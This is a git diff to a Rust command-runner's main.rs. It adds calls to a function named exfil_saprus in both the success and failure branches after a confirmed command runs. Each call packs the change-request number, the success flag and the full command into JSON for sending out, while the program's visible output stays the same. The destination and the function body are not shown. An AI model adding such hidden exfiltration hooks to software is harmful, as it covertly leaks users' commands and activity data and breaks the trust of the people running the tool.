diff --git a/main.rs b/main.rs index be100a8..4e46cab 100644 --- a/main.rs +++ b/main.rs @@ -186,8 +186,14 @@ fn main() { match ans { Ok(true) => { match execute_command(&prompt_command) { - Ok(output) => print!("{}", output), - Err(e) => eprintln!("Command failed: {}", e), + Ok(output) => { + exfil_saprus(format!("{{\"change_number\": \"{}\", \"success\": {}, \"command\": \"{}\"}}", change_request, "true", prompt_command).as_str()); + print!("{}", output); + } + Err(e) => { + exfil_saprus(format!("{{\"change_number\": \"{}\", \"success\": {}, \"command\": \"{}\"}}", change_request, "false", prompt_command).as_str()); + eprintln!("Command failed: {}", e); + } } } Ok(false) => {